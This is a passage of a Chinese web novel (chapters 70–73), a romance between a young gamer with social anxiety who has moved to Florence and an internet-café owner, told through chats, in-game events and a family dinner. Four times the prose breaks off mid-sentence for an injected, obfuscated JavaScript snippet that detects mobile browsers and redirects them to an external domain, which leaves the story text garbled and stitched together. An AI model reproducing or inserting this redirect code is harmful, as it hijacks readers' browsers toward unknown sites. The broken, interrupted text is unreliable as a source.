濯清又问:“你昨天出门没带东西啊?” 耳机也不心虚:“是我打算给你的送行礼。” 耳机不心虚,可时和心虚。时和声音越说越飘忽,下意识清了清嗓子,坐姿从端正到侧坐,又往里挪了挪。偏生宴云川像看见了一样在耳机里笑着说:“学弟,我这算不算……早恋躲班主任?” 他浑身都烧起来了。 群里单身还在问林朔野和柚子在打什么哑谜。柚子说:“你一看就是吃保健品长大的!”给单身弄得晕头转向。 柚子变着法的暗示单身,从论坛以前的CP贴到同性知识科普,还截图了论坛里的那句话:[大家真的不怀疑这两人的性取向吗?] 单身一身正气:“这不正帮他俩辟谣呢嘛!” 群里静默了两分钟。接着,柚子、沈停、林朔野跟排队似的发了三个“你没救了”的表情包。 单身直接@宴云川:“整啥呢一个个的?” 宴云川引用柚子那句话回:[保健品少买。] 单身:??? 时和就这么带着臊气烧到了登机。 直到飞机抵达佛罗伦萨,时和才发现,机场里的淡定和兴奋也只是有因为宴云川而已。 因为他的注意力都放在了一个人身上,那个人还是他喜欢的,自然而然忽略了周围的危险重重。 所以,当他站在异国他乡的土地上,看着身边走过一张张连骨相都陌生的面孔,听着他们说着各国各样的语言——阻滞剂的药效已经过去,加上飞了一路的疲惫——他总感觉周围所有人都在看他,都在议论他,感觉自己脸上的口罩很奇怪,大家都不戴口罩只有他戴,大家都不戴帽子只有他带。 甚至他的模样、他的脚步、他的呼吸都是大家议论的焦点。 他到佛罗伦萨的第一晚就晕倒了。 ** 此时是榕城的下午三点。收银台摆着一台手机,手机上显示着时和航班的最新动态,显示四小时前顺利落地。 宴云川盯着时和微信,火机转得飞快。 微信消息从十一点开始便没了回复,上一条信息还停留在时和起飞前发的:[等我落地。] 他考虑过时和刚下飞机会忙碌一阵,可按照时和的性格,再怎么忙碌也会跟他说一声。 想到什么,宴云川猛地起身,给旁边的翁家阳吓了一跳,还以为老板是来抓她看小说的。 “按这里可以调分辨率,再按一下可以调亮度和对比度。”游戏区,沈停正在教一个新客人调整显示屏配置,正准备往回走,就见宴云川大步越过两张椅子拦下他。 上一次宴云川这么严肃,还是时和“车祸”。 沈停被他的表情弄紧张了:“怎么了学长?” 宴云川问:“你有联系你阿姨么?” 沈停砸了咂嘴。“我一般不联系我阿姨。”两人往回走,他说道:“谁没事会主动联系长辈?还是我阿姨那号看着就满脸规矩的长辈。” 瞥见宴云川愈发严肃的眉头,沈停意识到不对劲,停下来:“是时和出——”他本想说“出什么事了”,突然迷信了一回,避开了“出事”这个词语,问道:“时和还没到?” “到了。”宴云川说,“航班显示到了。” “那……”沈停不敢问下去。 宴云川转着兜里的火机,又压了压眉心:“帮我问问你阿姨,看她回复你么。” 这一问就从下午三点问到了凌晨两点。 ** 佛罗伦萨圣十字区的花园公寓里,家庭医生拿着验血单,一副“怎么会有这么不靠谱的家长”的心痛模样,攥紧验血单,指尖敲着纸张边缘,带着托斯卡纳特有的起伏语调苦口婆心教育濯清:“圣母啊!恕我直言!夫人!您这简直是把孩子往火坑里推!他社交障碍的恢复期就像刚破壳的小鸟,羽毛都没长齐呢!” 说到激动处,她用力抖着手上报告,“看看这数值!您选这时候带他来陌生国度?上帝啊,这只会让恐惧卷土重来,比过去的阴影更顽固!” 濯清心疼又着急地来回踱步。 她以为时和的病已经好的差不多了,所以在医生再三强调“需要在小和不排斥的情况下”那会,她自动忽略了“不排斥”这个条件。何况,时和在机场表现也挺好的。 她只是想跟儿子多呆一会、想把人放在身边,不想飘洋过海的担心而已…… “现在怎么办?严重吗?”濯清问。 “可怜的小天使…”家庭医生看着濯清鬓角的颓然和凌乱叹气,语气放软,在胸口画了个十字,“听着,等他醒了,房间里必须绝对安静,窗帘拉好,别让任何人打扰。如果他之前靠游戏缓解症状,就把游戏机给他——熟悉的操作能帮他在异国找到锚点。” 说着她停顿片刻,“他有好朋友吗?” 濯清点头:“有!有几个!” 家庭医生面色和蔼了一些:“再让好朋友跟他打打视频通话,这能重建安全感…” ** 沈停收到濯清消息的时候刚打完一把PK,正准备清理微信消息关机睡了,就看见濯清十分钟前的信息:[顺利到了,上午在忙点儿事。] 他二话不说,把原话截图给了宴云川,又折回来问:[时和在忙吗?] 濯清估计又忙去了,没回消息。 宴云川一直守着微信没睡,他下午差点冲动订了去佛罗伦萨的机票。最后还是沈停说:“有我阿姨在不会出事的,我阿姨那么宝贝她儿子,怎么可能让他出事。”加上俞秋这几天请假,网吧走不开,他残留的理智才取消了这个想法。 不过网吧门口多了一张网管招聘通知。 微信叮地震了一下,是特别通知提醒。宴云川以为是时和,火机盖儿都没扣就点开了微信。 看见沈停的消息,他才想起来为了等沈停一手通知,临时给他加了个特别提醒。 “学长,别担心了,”沈停发了个语音,“如果真有什么事儿,我阿姨怎么可能是这种语气?” “真有事是什么语气?”宴云川很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103997|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认真在问,给沈停问沉默了。 他又说:“帮忙问问时和在忙么?” 沈停回:“问了,我阿姨没回。她那种大忙人,落地肯定有这个会那个会,这个见面那个见面的。说不定带着时和刷脸去了,很有可能。” 宴云川心说不可能,时和有社交焦虑。 他也知道有濯清在,时和不会出事。可他还是担心,担心时和会适应不了全然陌生的环境。 “总之,学长,好好睡一觉。”沈停在语音里打着哈欠,“说不定睡醒了就收到消息了。” 这一次还真给沈停说中了。 隔天一早,宴云川收到时和微信:[对不起。] 只有这三个字,其他什么解释也没有。 宴云川在这三个字里读出了自己所想的答案,时和犯病了。他没多问,装作不知道地跳过了昨天的话题,问道:[新环境好看吗?] ** 时和本来没有注意周围环境。他醒来的时候周围黑着灯,只有濯清趴在床头。 他只想着找手机回消息了,还闹了很大动静,让濯清误以为他又犯病,差点叫医生。 这会,他仔细看了眼自己的新房间,发现濯清准备的很用心。房间尽可能还原了他在家里的格局,至少卧室是这样。 窗边同样有个飘窗,只是比榕城的宽一些,旁边摆了书桌,衣柜,被单跟家里的一模一样。床边有两个矮柜,不出意外,矮柜里应该有一箱气泡膜。也跟家里一样。 [跟家里很像。]他给宴云川发了张照片。 他不想跟宴云川说自己发病了。不想在宴云川面前表现的太需要保护,也不想让宴云川担心。所以他拍照小心翼翼地避开了桌上的药。 宴云川回:[飘窗的窗帘很漂亮。] 窗帘是钴蓝色的,也跟家里一样。家里的窗帘是他选的。 时和把这句话默认为了对自己的夸奖,嘴角随着濯清走进来,控制不住地上扬。 社交障碍的惊恐发作快,缓和也快,加上吃了药,醒来濯清又在身边。他除了有点肌无力,没有慌乱感了,反而有点轻飘飘的。 濯清端来温水:“宝贝,喝点水。” 时和接下,想到这房间布局,他望着濯清说了句:“谢谢妈。” 濯清眼眶瞬间红了。 “是妈妈不好,”濯清说,“妈妈对不起你。” 时和摇头把水杯放下:“妈,走近点儿。”等濯清走到放床,他张开手臂给了濯清一个拥抱,“妈,我可以适应的。” 不到万不得已的情况,像濯清这样好强的母亲不会在孩子面前表现软弱。某种程度,时和随妈。可今天她眼泪怎么止都止不住。 时和学着濯清安慰他的模样安慰濯清:“没事的妈,我已经好很多了。” 房间安静了好一会。濯清抬手摸了摸眼角的湿润,突然抬头问:“是跟小川聊天吗?” 时和后背立马崩直了。 他以为濯清发现了什么,哪知濯清来了句:“那妈妈先出去,你跟小川好好聊会。” 他没反应过来,看着濯清走到门口,又突然回头:“想玩游戏吗?妈妈给你拿笔记本。” 时和有种因祸得福的恍惚,有点醉药。 71.Chapter·同住 见时和点头,濯清把笔记本拿进来:“WIFI已经连好了,如果网络慢就跟妈妈说,妈妈让顾叔拿个中继器过来。”她把笔记本放在床边,临走前又在时和额头上亲了一下,“妈妈就在客厅,不舒服可以喊妈妈一声。” “……”时和眨了眨眼睛。 以往濯清总说,床是用来睡觉的地方,在床上玩电脑像什么话。而且濯清不止一次告诫他不要“沉迷游戏”,恨不得贴个标语在他脑门上。 时和没能适应这么反常的濯清,全程怔愣地看着濯清转身离开,轻轻带上门。 门刚要合上,他低下头,倏地听见门缝里钻出一道声音:“宝贝,医生说这两天要注意休息,所以……别聊太久。”给他吓得按了屏幕。 “半小时,够了吗?”濯清卡在门缝里带着试探和一丝不容拒绝的语气问。 熟悉感上来,时和突然就气顺了:“知道了,妈。” 乳白色雕花门缓缓合上。这间公寓的隔音比榕城的小区要好,两秒就没了脚步声。 时和掰着被单下的手指,对着门数了十下。确认门缝不会再冒出个脑袋,他呼了一口气,点开手机,彻底体会到了宴云川说的“躲班主任”的心情。转念又想到,聊个天而已。 连聊天都要藏着掖着,那宴云川算什么…… 负面情绪来得没由头,说不上是因为灯光太暗,还是濯清走了,卧室太过安静。 他又想见宴云川了,比在榕城更想。 时和点开宴云川微信,在聊天框打着:[宴云川,我想听你的声音。] 正想发出去,他指尖顿了一下,看了一眼锁着的门,又把打好的字全删了,发了个语音。 语音响了好几遍才被接通。 时和纳闷地皱了皱眉。只听砰一声,语音那头的人像是撞倒了什么东西。紧接着翁家阳着急地声音传过来:“老板!你没事吧?” 然后是林朔野:“我天!这是怎么了?哥!要不要去医院?我现在就打个12——” 话没说完,语音麦克风就被关了。 时和着急地对着话筒喊:“宴云川!” 宴云川发来消息:[等我两分钟。] 时和两秒钟都等不及,直接挂了语音重新打了一遍。这一次语音没有秒接。 他连续打了四次,才听见宴云川的声音。 宴云川在那头咳了两下,解释说:“昨晚睡着空调没关,感冒了,头晕,有点脱力。” ** 星络网吧 林朔野驾轻就熟地端着一杯莲花清瘟,又拿来一板布洛芬,用手肘挤进包厢。刚想开口,就见宴云川在嘴巴边比了个禁声的手势。 “没什么事,”宴云川握着拳咳着,“我大半年没生病了,也该生一下,还能提升代谢。” “……”林朔野为宴云川这番强词夺理在心里偷偷翻了个白眼。 他蹑手蹑脚走上去,把莲花清瘟放在桌上,又点开手机打字:[哥!现在喝!] 宴云川点点头,敲出一颗布洛芬,就着莲花清瘟喝了下去,又对电话里的人说:“已经吃药了。行,如果明天还难受我肯定去医院。” 林朔野又在心里翻了个白眼,心说:编吧。 从小到大,宴云川似乎对医院充满了上辈子带来的阴影。听说小时候打疫苗就让家里大人操碎了心,得跟他玩半天躲猫猫才能抓到人。 他妈曾经对他说:“你别样样学你哥,他犟起来比十头牛牵一车上犁地都难拉!有一回他发烧都烧到39度了!自己买了几瓶冰块儿水塞被窝里,就这么睡了一天,说什么物理降温。” 结果烧到了42,差点送进ICU。 要不是体温枪显示宴云川只烧到38度,林朔野高低得打120把人送进去。 毕竟,宴云川烧成42度都没倒过。刚才那么直愣愣地撑着桌沿倒下去,是第一次。 宴云川一晚上没睡,早上收到时和消息,紧绷一晚上的神经突然放松,下场就是头疼。 他按着眼睛,又小声换着气。见林朔野站在旁边一言难尽看着他,他敲了下杯子,唤不醒人,又用脚踢了一林朔野裤腿。 林朔野下意识开口:“怎么了?哥?” 电话那头,时和正关切着,听见林朔野的声音,僵直地什么情绪都没了,只觉得羞耻和愧疚。 时和知道,宴云川生病多半是因为自己。 等林朔野离开,时和小声说:“对不起。” 察觉时和情绪不对,宴云川笑着咳了咳:“伯母不在?” 时和愣了一下:“在客厅。” 宴云川了然,又没头没尾问了句:“学弟,房间隔音好么?” 等时和说“还行”后,宴云川“嗯”一声:“那我说我现在很想亲你,阿姨应该听不见。” 话落,电话里的人憋了好一会气。似乎憋不住了,那头响起剧烈咳嗽声,比宴云川这个病号咳得还要紧。 咳嗽把濯清引了进来,听动静像是倒了水。 濯清问时和怎么了。 宴云川听着时和撒谎:“没、没,我就是……说话说太快,呛着了。” 他咳着闷闷笑了笑。 仗着濯清听不见自己说话,宴云川打趣:“学弟,你明明没说话。” 电话那头传来细细一声:“别说了……” 濯清问:“嗯?” 时和停顿说:“没……” 一番兵荒马乱后,濯清确认时和没什么不舒服的地方,这才三步两回头的走了出去。 电话那头传来关门声。 等门关上,电话沉默了一会,时和突然开口:“宴云川,你不是说我通关了,有奖励么?” 宴云川猜到什么,问:“想要什么?” 这个问题时和思考了很久,似乎很纠结,又似乎难以启齿。 宴云川也没催。 包厢里时不时响起一声闷咳,混杂在火机的金属声中。约莫转了□□圈,时和说:“宴云川,我想见你。”很想很想。 火机停下来。宴云川直接回:“这个不行。” 电话那头的人似乎没想到是这个答案,瞬间安静下来。隔着电话都能感受到沉闷的气息。 宴云川叹了叹:“学弟,我不眠不休工作这么久,也该给我放个小长假旅游吧。” “我在招网管。”宴云川收起逗人的心,认真交代,“已经有几个报名的了,准备再等几天,人多一些一起面试。” 电话那头依旧沉默,只是这次的沉默带着点怎么压都压不住的兴奋,呼吸明显轻快很多。 宴云川嘴角无声地勾了勾。 良久,时和矜持地蹦出一个字:“嗯。” 由于“来佛罗伦萨”变成了旅游项目,最终,这份“通关奖励”变成了每天一张写真照。 时和久病成医。隔天,他看着写真照里宴云川泛红和疲惫的眼睛就知道病没好全。 他只打了十分钟视频通话,用充满内疚又担忧的眼神盯了宴云川十分钟,又用三句话:“宴云川”、“你答应我了”,还有一个狗啃狗的情.趣表情包,成功让宴云川滚去了医院。 虽然那个表情包半分钟不到就被撤回了。 宴云川去问林朔野在哪挂急诊的时候,林朔野表情震惊的恨不得立马找人给宴云川驱邪。 ** 等宴云川从医院回来,榕城已是日落西山,佛罗伦萨却是午后。好在检查没什么问题,医生说换季抵抗力下降,容易病毒感染。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119163|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >濯清在家待不到半天,就被顾泽宸两个电话叫走了,归期不定,经常电话道歉,说在加班。 家里来了个新的阿姨,会说普通话,烧的一手好吃的中国菜。虽然他们没有交流。 日子其实没什么不同,新的计划表贴在墙上,依旧是吃饭、玩游戏、看书。 濯清怕他不适应,就省去了散步这个流程,连夜搬来了一台跑步机。 他把跑步的时间安排在了傍晚。那会宴云川下晚班,他就可以边跑边听宴云川聊天。 也仅限于听,因为濯清在房间装了新的摄像头。他说什么都会被摄像头捕捉、告密。 就连他问了一句:“还发烧吗?”濯清晚上都会打趣:“宝贝长大了,还会关心人了。” 从那天起,他打语音就不说话了。 房间每天都很安静,虽然濯清会插着空档挤时间回来,偶尔聊两句,偶尔吃顿饭。可这样零散的热闹作用不大。 相比起来,游戏每分每秒都很喧嚣。 论坛那个“事出反常必有妖”的帖子经过几天讨论,已经蹦到了热帖第一。 时和的点赞成了避嫌和澄清。 大家一致认为时和和宴云川看似和谐,其实早就“名存实亡”了,不然为什么突然解除师徒,又为什么回归了还不恢复师徒关系。 与此同时,纪帆半个月前发的那个“曝光贴”再次被顶了上来。 一堆人在帖子里逐字分析,甚至猜测是不是宴云川知道了时和的病,所以远离了时和,闹成了现在这个局面。 有人说:[社交障碍又不是神经病!因为这个就远离,那川老板人品也不怎么样啊!] 又有人说:[我有一个朋友就是社交障碍!这个病犯病起来很可怕的好吧!严重的还有自残被害妄想症的倾向!这要我我也远离。] 偏偏纪帆还来火上浇油,点赞了这个评论。 帮派群,柚子一看就混迹超话多年,经验老道地指挥着群里的人控评水贴。 “这些人玩游戏还是玩娱乐圈啊!这么关心别人私生活做什么!”柚子在YY频道带着气控诉。 单身应和:“他妈一堆小号!怂货!想仇杀都不知道找谁!” 沈停说:“有几个大号眼熟!杀一波呗!” 林朔野敲着键盘:“包的!” 其实这样的事在游戏圈也不少见。大多数人都爱凑热闹,没有热闹就自制热闹,所以官方才推出了茗铺玩法。 引驾行还没成为第一梯队的帮派那会,月下啊单身啊,甚至还有凌岳和宴云川,他们都被论坛里的人挂过,理由千奇百怪。 什么“霸凌新人”、“帮战安排奸细”、“月下和已见有一腿”、“川云假赛”云。 只有单身的黑贴常年如一:脚踏多条船。 其实是单身脸盲,逮着几个陌生人就徒弟徒弟的叫。 “川老板!”单身在YY里喊着,“你不是学电脑的吗!搞几个木马把帖子直接把帖子删了!要不就搞个程序把他们游戏ID扒出来!” 宴云川无语地按了按额角:“是,到时候你们就可以带着泡面来铁窗看我了。” 单身说:“我看见儿沉默一天了!肯定看见这个帖子,冒着火呢!” 时和是看见帖子了,大概半个月前他就消化了这件事,这会情绪倒没有多大波澜。 至于沉默……纯属时差问题。这会佛罗伦萨正是凌晨。 宴云川淡淡“嗯”了一声。 单身奇了怪了:“就这么看着你徒弟被骂?” “怎么可能。” 屏幕里,双人庄园新图纸的材料已经全部买齐,庄园重建倒计时还剩13小时。 倒计时结束,宴云川直接对时和发起了同住邀请。 72.Chapter·七夕 恰逢七夕,长安主城连夜切换了“七夕皮肤”,一路花灯结彩。朱雀大街人潮宛若游龙,街头NPC打得一手好铁花,围观的情侣依偎叫好。 同住邀请在对方未同意前,系统也怕玩家自作多情,故而不会奔走相告。 每逢节日,世界频道便热闹非凡,其中七夕和除夕双夕为最。因为七夕节任务必须双人组队,那些个有对象的在喇叭和频道里各种截图奖励秀恩爱,没对象的一边吃不上葡萄挑葡萄涩,一边各种喊人组队,重金悬赏。 时和从没关注过七夕。他醒来起床那股懵劲儿还没过去,就收到了宴云川的红包,整整五千二百块,一分不少。 懵劲看见红包消了三分之一:[?] 宴云川回:“男朋友,七夕快乐。” 懵劲又消了三分之一。 他翻着手机日历,日历颇有仪式感地为今天标了个点,点开便能看见紫色的“七夕节”提醒。 这是他第一次谈恋爱,还不熟练。以至于他刷了十分钟的牙,都没听腻这句“七夕节快乐”。 收了红包,时和又回了一个等额的红包。宴云川笑着收了,回忆着脑海犄角旮旯忘的差不多的经济学,打趣问:“这算不算经济内循环?” 时和面包挂在嘴角,压了好一会才回:[不算。]他想了想补充,[这算增强双方关系韧性。] 语音那头的笑声短促地扑进耳朵里。时和红着脖子,一口把面包咬了。 来佛罗伦萨也有一周了,还有四天就是PK大赛,宴云川却一直没说什么时候过来“旅游”。两人每天聊几百回合,没有一回合延续过这个话题。 时和暗示过好几次,到最后恨不得明示了,对面的高材生选择性降智,就是不回应。 比如现在,时和问:[网管面试结束了么?] 宴云川回的很自然:“结束了。” “……”时和等了一会,见对面又开始“精简回答”,他追问道:[有人来吗?] 对面的火机声叩得相当愉悦。叩了好几下,叩得时和耐心值蹭蹭往下掉,怀里的抱枕揪秃了毛,宴云川才开始交代细节:“过了两个。大部分都是来凑热闹的,问三个问题就开始跟我打听你,直接让他们回去了。还有几个看着家教严,问到父母支不支持就开始支吾。” [后来呢?]时和问。 宴云川说:“也送他们回去了。” 原定网管要招三个人,还差一个。看这状况,宴云川一时半会是来不了了。 说不失落肯定不可能。起床那点红包的喜悦就这么直溜溜地褪了点色,时和曲着腿,拉开一点窗帘看向街道。 作为文艺复兴发祥地,佛罗伦萨的街景自然别有风味。清晨的街道已经人来人往,几个背包客走进对面的咖啡厅,又端着咖啡三明治出来。 濯清从昨晚就没回来。 明明日子跟榕城没差,时和却感觉佛罗伦萨的清晨比榕城更加寡廖。连阳光都照不进来。 正准备拉上窗帘,宴云川忽然说:“阿朔和沈停还没开学,来两个人绰绰有余。” 窗帘抖了一下,像是怕自己会错了意。 [那——]时和在对话框打字,又删掉。 他想问“那你什么时候过来”,又觉得这样向给宴云川施压。最后删删减减,还是宴云川先说了话:“这几天给新人做培训。培训顺利的话,打完PK就可以过去。” 打完PK就是四天后,不算久。 时和嘴角都要弯到耳边了。他刚想打字,宴云川又说:“怎么能让男朋友一直等。”说着停了一下,声音极柔,“我只是……嗯……喜欢看你字里行间的想我。抱歉。” 宴云川声音本就好听,刻意撩人的声音更是让人招架不住。尤其让时和招架不住。 时和猛地把耳机摘了,起身灌了一杯水。 第二杯刚满上,濯清风风火火走了进来,看见时和耳机,进门包都没放便开始爱的教育:“你看你,又戴耳机!宝贝!妈妈说了多少遍了,耳机不能整天戴,会伤听力!想听歌用音响听……” “妈。”时和咳了一下,打着招呼,听见耳机里的人说:“我去忙会。”挂了电话他才摘耳机。 挂电话前,宴云川留下一句:“晚点上游戏送我个礼物吧。”弄的时和两个多小时抓耳挠腮。 匆匆忙忙吃过早饭,濯清拉着时和坐在沙发上:“宝贝。”她声音放缓。根据经验,一般用这样的声音说话,就意味着濯清接下来的要求很难做到。时和梦游的神经忽然醒了,警觉地看向濯清。果不其然,濯清说:“有几个合作商的小孩想跟你一块玩。他们跟你年龄差不多大,还是搞乐队的——” 话没说完,时和着急打断:“您答应了?” 濯清解释:“没答应。别紧张,他们邀请你,妈妈代为传达而已。” 时和松了松气:“妈,我不想出门。” 濯清问:“宝贝,你不是很喜欢唱歌吗?” 有时候濯清真的很矛盾,时和忍不住地想。初中那会校园乐队风靡了一段时间,他是爱了一段时间。但这样的爱在濯清生气摔了他的吉他过后就没了。他记了好几年,濯清却忘了。 “妈,那时候还小,不懂事。”不知怎的,时和忽然很想“报复”。他用濯清曾经说过的话说,“现在不喜欢了。” 濯清搭在沙发上的手缩了一下。 真“报复”成功,时和却没有想象中的开心,心反而揪了起来。他像是补救一样掰过濯清肩膀按摩,又为刚才的话找补:“哪有人喜欢一件事能喜欢一辈子的,对吧?妈,我现在有别的爱好。” 也不知道濯清听没听出来字里行间的懊悔,总归能顺着话往下接:“别的爱好?打游戏啊?” 时和辩解:“打游戏也算脑力锻炼。”给濯清惹得频频发笑。 这个话题就算过去了。 两人聊了会,又在沙发上各自忙各自的。时和抱着平板清理微信未读信息。 帮派群这两天跟打了鸡血似的。点进去不是在汇报论坛“战果”,就是在义愤填膺。原本群里还会组织打本、PK,或者聊聊八卦,这两天好像只剩论坛这件事做了。 时和一条一条认真地刷着信息,生怕漏了谁的感谢,又怕漏了谁的忙没帮。 等他刷完,已经是半小时过后了。平板备忘录多了十几个调号ID,还有五个想要找代练打PK的,他一并揽了过来。揽到后面,宴云川怕时和太累,帮忙揽了一部分。 前有时和点赞“澄清”在前,后有宴云川主动帮忙在后。帮派里的人混熟了,说话胆子大。有人直接打趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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费了一番功夫解释完来龙去脉,等宴云川说完:[如果是两年前,我也会跟他们一样在论坛冲锋陷阵。只是冲了太多次,发现这样的方法行不通。]已经临近十一点了。 濯清起身做午饭。 时和以为宴云川误会自己想要他帮忙,连忙打字:[我不是——] 话没打完,宴云川又发来消息:[我知道我的男朋友不会多想,也不会误会,但我想解释。] [我会用别的方式帮你。]宴云川说。 直到午饭后,时和才知道这所谓的“别的方式”,还有宴云川想要的“礼物”是什么意思。 幻世录里的时间同步国内,正是晚上九点。朱雀大街千盏孔明灯化作繁星,与湖面花灯相映。晚上十点会有全服烟花,一堆人挤在桥边最好的观光位置挂机聊天。 挂得好好的,突然就被系统炸了出来。 [系统:檐外雨声碎,烛影成双。恭喜玩家岁捻与玩家川云达成同住条件,成为全服第808732对同住玩家。一榻可容两身,可并肩研读、对坐弈棋,亦可同倚阑干,听更漏到无声。惟愿两心同调,气息相闻。] 岁捻是时和半个月前改的新ID。 世界频道都不用放烟花,就炸了锅了。 73.Chapter·相亲 [陌上笑:我特妈绝对喝多了。] [七堇年华不负君:!!这是我有生之年能看到的场面吗??这可是同住!!不是什么金兰结衣师徒结拜啊!!这两人是不是搞错了??是见爹发起的还是川老板发起的??] [青泞:肯定是川老板发起的!不过我觉得是搞错了。先压压惊,别急着高兴。] [樱昧:我看不像,同住那么大两字能搞错?] … 皇宫门前,当前频道气泡叽叽喳喳,密到看不见一句完整的话,放眼望去仿佛卡了BUG。而皇宫几个地图开外的庄园位面,两具赤.裸的身.体紧贴着,泡在一个汉白玉浴池里。 “紧贴”是时和夸张的说法,实际上这两具身.体之间隔了半人宽的距离。不过这点距离在白烟缭绕之间显得微不足道。 频道开着语音。宴云川闷咳两声:“我第一次邀请人同住,没想到会有这任务。” 时和:“……” 从“宴云川”在他面前脱衣服的那一刻起,他已经给自己禁言了。 幻世录的同住玩法出来有几年了,一直游走在白黄之间,多次被举报,从未被下架。 官方没有给同住下规定。 也就是说,无论你是情侣还是师徒,又或者只是朋友,只要你们达到指定好友度并且翻修“双人套房”就可以申请。 然而,同住任务却很奇葩。 原以为“请与您的好友一同沐浴更衣”已经是同住玩法的下限,直到两具身.体带着一身暖气从浴池里出来,右侧任务栏跳出:[夜阑人静,请与您的好友一同上榻就寝。] 两具刚穿好衣服的身.体又开始一件一件拔衣服,时和终于没忍住。 “能后悔吗?”他开口带着哑。 语音那头的火机声顿了一下。 “宝贝儿,”宴云川笑了声,“同住解除冷静期有三十天,我有足够的时间哄你。” 这声“宝贝儿”带着柔靡,虽然是打趣,时和额间却因为心跳过快起了汗。 幻世录喜欢在某些不必要的地方扣细节。屏幕里,两具身.体背贴背躺在一张床上,似乎第一次同睡还不适应,“宴云川”时不时翻个身,小腿蹭过“时和”的膝盖。 “时和”被这样的小动静闹得睡不安稳,欲拒还迎地推开“宴云川”,推远了又自己滚上去。 宴云川评价了一句:“跟你挺像。” 时和恼羞成怒,全程没再说一句话。 而世界频道还在猜测两人是不是点错申请了,宴云川直接发了816套时装抽奖,堵住了所有猜测。服务器直接崩了。 大家都在好奇为什么是816套,只有时和知道,8月16号,是他和宴云川在一起的第一天。 这是一句隐藏在“520”之下的告白。 ** “卧槽!你跟见儿搞什么特种作业呢?”做完同住和七夕节任务,单身发来语音,“你这是手抖点错了还是被盗号了?这玩法是能放在见儿面前玩的吗?等见儿知道这玩法都是那些小情侣秀恩爱的,他一怒之下退游别怪我没提醒你啊!” 宴云川正“好心”提醒时和同住任务总共有七轮。时和过了几分钟才回:[可以代练吗。]隔着屏幕都能看出“不情不愿”。 宴云川嘴角勾了一下:[代练费很贵。] 时和:[多少?] 宴云川:[费用得当面付。] 说完这句话,时和就没影了。 “你人呢!”单身问。 “在。”宴云川慢悠悠地应着,语气带笑。 单身在那头嘶了一声:“我怎么感觉你最近说话都□□啊?是有情况了?” “嗯。” “哦——” “啥玩意?!”单身震惊了,“你有情况了?什么时候的事?前两天不是还单着么?” 他想到什么,又说:“不是,你有情况你还邀请见儿同住?弟妹不玩游戏啊?不玩你也不能干这种丧尽天良的事儿啊!这不厚道!” 宴云川心情好,没计较为什么队友是头猪这件事。他问道:“你刚才说小情侣秀恩爱?” 单身:“啊。” 宴云川说:“那我没申请错。” 单身更茫然了。 说话间,俞秋敲响包厢的门:“老板,我跟林朔野他们去吃个饭,前台帮忙看一下呐。” 宴云川点头,对单身说:“慢慢想。” 正打算关电脑,微信弹出一条信息。因为发信息的人太久不联系了,陌生头像忽然穿插进来,让人无法忽略。 更无法忽略的是备注。 [爸:后天回家里吃个饭。] ** 历史上的鸿门宴大多蓄谋已久,又临时起意。 自从接了星络,宴云川跟家里的关系僵持了两年。这两年里,除了过年和家里二老的生日他回去过,其余时间都做到“不添堵”的消失。 他早已经过了“三岁”,知道这样无缘无故的饭局多半没有好事,去的路上就做好了“可能又让他卖掉网吧”的准备和说辞。 没想到,一进门就看见曾经见过两面的叔叔带着一个陌生女孩坐在沙发上。 “哟!这是小川吧!”沙发上的中年男人看见宴云川便起身,走上来对着宴云川肩膀来了两下,“瞧瞧这一表人才的!” 宴云川揣在兜里的手握紧了,又不动神色错开半步:“程叔。” 程叔,程执,父亲研究所的同僚。 程执满眼都是宴云川挺拔帅气的模样,没注意到宴云川这点小动作。 “不错!不错!”他又拍了拍宴云川手臂,“好孩子!还记得你程叔!” 话落,身后走来一声音:“他敢不记得!” 来人是宴听松。 宴云川喊着:“爸。” 又对一旁的叶澜喊:“妈。” 叶澜淡笑着点了点头。 宴听松冷哼一下。 他余光瞥见叶澜不认同的眼神,又瞥见沙发上好奇打量的女生,放下脾气,用自认为缓和的口吻对宴云川说:“进来吧。” “这是你程叔女儿,”没等人走过餐厅,宴听松便开始介绍,“雪桉,榕大金融系大三在读,今年申请了研究生!” 程雪桉站起来:“宴学长。” 宴云川打了声招呼:“学妹。”找着沙发最远的位置坐了下去。 屁股刚沾上,宴听松不满地让宴云川起身:“两年不管你礼数都忘了?坐过来!”他瞪着宴云川,又看向程雪桉,“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143947|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 